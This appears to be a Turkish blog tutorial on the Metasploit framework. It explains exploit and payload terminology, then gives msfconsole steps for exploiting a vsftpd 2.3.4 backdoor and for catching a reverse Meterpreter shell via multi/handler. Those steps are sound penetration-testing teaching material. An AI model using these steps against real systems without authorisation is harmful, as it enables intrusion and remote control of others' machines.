Metasploit Kullanımı

Metasploit nedir? Nasıl Kullanılır? Sorularından önce genel terimler nelerdir, onlardan bahsedelim.

Exploit: Türkçe’deki anlamlarına bakacak olursak, “sömürmek“, “kötüye kullanmak” gibi anlamlara gelmektedir. Herhangi bir sistemde var olan açıklıklardan, hatalardan faydalanarak sistemlere sızmak, zarar vermek, kötüyle kullanmak için oluşturulan programlar, scriptlerdir.

Exploitler genel olarak ikiye ayrılır.

  • Remote Exploitler
  • Local Exploitler

Diğer exploit çeşitleri de vardır, DoS exploit gibi.

Remote Exploitler: Sistemde herhangi bir erişim elde etmeden kullanabileceğimiz exploit türleridir.
Local Exploitler: Sistemde yetkisiz dahi olsa bir erişim elde edildikten sonra kullanılabilen exploit türleridir. Hak yükseltme exploitleri (Privilege Escalation Exploits) gibi. Exploitler ile güncel bilgileri takip etmek için https://www.exploit-db.com/ adresini takip edebilirsiniz.

Payload: Exploit işlemi sonrası sistemde yapılacak işlemleri gerçekleştiren modüllerdir.
Metasploit: İçerisinde birçok modül bulunduran, güvenlik testlerinde kullanılan bir framework‘tür. Ruby programlama dili kullanılarak yazılmıştır. Armitage adında GUI (Graphical User Interface) destekleyen versiyonuda mevcuttur.

Postgresql veritabanı ile çalışır. İçerisinde birçok modül barındırıyor demiştik. Bunlar: exploitler, payloadlar, encoderlar, auxiliary ve post modülleridir.
Auxiliary: Sistem hakkında bilgi toplamaya ve daha birçok işlemi gerçekleştirmeye yarayan yardımcı modüllerdir.
Encoder: Güvenlik çözümlerini atlatmaya yardımcı olan modüllerdir.
Post: Sisteme sızdıktan sonra kullanacağımız yardımcı modüllerdir.
Gerekli tanımları yaptıktan sonra Metasploit’i çalıştırıp daha detaylı bilgiler öğrenmeye başlayalım.
Metasploit postgresql veritabanını kullanıyor demiştik. Terminalden öncelikle “service postgresql start” yazarak veritabanımızı çalıştırıyoruz. Bu işlemden sonra terminalden “msfconsole” yazarak Metasploiti başlatıyoruz.

msfconsole

Resimde gördüğünüz üzere içerisindeki modülleri listeleyen bir ekran ile bizleri karşıladı. Metasploiti güncellenmek için “msfupdate” komutunu kullanabilirsiniz. “help” komutu ile kullanabileceğimiz komutları görebilir, bilgi alabiliriz.

help

show exploits” komutu ile metasploit bünyesindeki exploitleri listeleyebiliriz.

show exploits

search” komutu ile istediniz modülü arayabilirsiniz. “search -h” komutu ile belirtilen parametrelere göre daha spesifik bir arama gerçekleştirebiliriz. “use exploit_adi” komutu ile istediğiniz exploiti seçebilirsiniz.

search

info” komutu ile exploit ile detaylı bilgiye erişebiliriz. “show options” komutu ile exploitin ayarlarını, alacağı parametreleri görebiliriz. Örnekte hedef sistemde ftp servisi kullanılmaktadır. Bu servis vsftpd 2.3.4 versiyonu ile çalışmaktadır. İnternette araştırmalarımız sonucunda bu servisi sömüren bir exploit buluyoruz. “vsftpd_234_backdoor” ile bu işlemi gerçekleştirebiliriz.

use exploits

Parametre olarak bizden “RHOST” ve “RPORT” değerlerini istiyor. Bu örnekte ftp ile ilgili bir açığı sömürmeye çalıştığımız için “RPORT” varsayılan olarak “21” olarak atanmış durumda. Bu değeri değiştirmeyeceğiz. Burada eklememiz gerek komut “RHOST” parametresi. “set RHOST hedef_ip” olarak parametreyi giriyoruz.

set

Parametreyi girdikten sonra ayarları tekrar gözden geçiriyoruz. “show options” komutu ile verdiğimiz RHOST değerinin eklendiğini görüyoruz.

exploit

Gerekli değerlerimizi girdikten sonra tek yapmamız gerek exploit aşaması kalıyor. “exploit” veya “run” komutu ile exploit aşamasına geçebiliyoruz. “check” komutu ile sistemin bu açıktan etkilenip, etkilenmediğini kontrol edebiliriz. “run” komutu daha çok yardımcı modüller ile işlem yaparken kullanıyor. Resimde görüldüğü üzere bir oturum(session) elde etmiş olduk. Exploit aşamasını başarı ile gerçekleştirdik.

Bir diğer örneğe geçmeden bağlantı türleri hakkında biraz bilgi verelim.

  • Bind Connection
  • Reverse Connection

Metesploit kullanılarak hedef sistem ile bağlantılar kurabiliriz. Bind bağlantıda bağlantı isteğini biz yapıyoruz. Reverse bağlantıda ise biz dinleme moduna geçiyoruz. Bağlantı isteği hedef sistemden bize geliyor. Güvenlik sistemlerinden kaçmak için bu yol genellikle tercih edilir.

Meterpreter

Meterpreter’i gelişmiş bir payload olarak adlandırabiliriz. Meterpreter oturumu daha gelişmiş seçenekler ve kullanım kolaylığı sağlar.

multi-handler

Resimde görüldüğü üzere “use exploit/multi/handler” komutu ile “multi/handler” modülünü seçmiş olduk “multi/handler” dinleme işlemlerini gerçekleştirir.
show payloads” ile exploit ile birlikte çalışacak payloadları listeleyebiliriz.
set PAYLOAD paylad_adi” komutu ile seçmiş olduğumuz exploit ile uyumlu çalışacak bir payload seçebiliriz. Bu örnekte “windows/meterpreter/reverse_http” payloadı seçilmiştir.

set payload

show options” komutu ile exploitin ve payloadın alacağı değerlere bi bakalım. Bizden “LHOST” ve “LPORT” değerlerini vermemiz gerekiyor. Buraya reverse bağlantı yapacağımız için kendi ip adresimizi ve dinlenecek portumuzu vermemiz gerekiyor. Burada port numarası verirken o portun başka bir servis tarafından kullanılmadığından emin olunuz.

set LHOST ip_adresimiz” ve “set LPORT dinlecek_olan_port_numarası” parametreleri girdikten sonra tekrar “show options” komutu ile ayarlarımıza bakalım. Değerler görüldüğü gibi atanmış durumda.

meterpreter

Gerekli değerler girildikten sonra “exploit” komutunu çalıştırıyoruz. Böylece dinleme moduna geçmiş oluyoruz. Hedef sistemden bağlantı isteği gelmesini bekliyoruz.

meterpreter ornek

Resimde gördüğünüz üzere meterpreter oturumuna sahip olduk. Burada karşı taraftan bağlantı gelmesini zararlı yazılım oluşturarak sağlayabiliriz. Bir şekilde hedef sistemde sizin oluşturuduğunuz zararlı yazılımın çalıştırılması gerekiyor. Zararlı yazılım oluşturma konusu, msfpayload, msfencode ve msfvenom gibi konuları diğer yazımızda ele alacağız.

meterpreter help

Meterpreter oturumunda “help” komutunu kullanarak, kullanabileceğimiz komutlar hakkında bilgi sahibi olabiliriz. Meterpreter kendi komutları ile daha esneklik ve kolaylık sağlar. Birçok işlemi hızlıca gerçekleştirebiliriz.

shell

shell” komutu ile shell’e düşebiliriz. Daha birçok komut ile istediğimiz işlemleri gerçekleştirebiliriz.
background” komutu ile oturumu arka plana atabiliriz. Tekrar bağlanılmak istenildiğinde ise
sessions -i id_numarası” ile meterpreter oturumuna tekrar düşebiliriz.

Bir sonraki yazımızda msfpayload, msfencode ve msfvenom kullanarak payloadlar, zararlı yazılımlar oluşturmayı ve güvenlik sistemlerini atlatma tekniklerini inceleyeceğiz.

Metasploit Kullanımı” için bir yorum

  1. Geri bildirim: Msfvenom Kullanımı

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir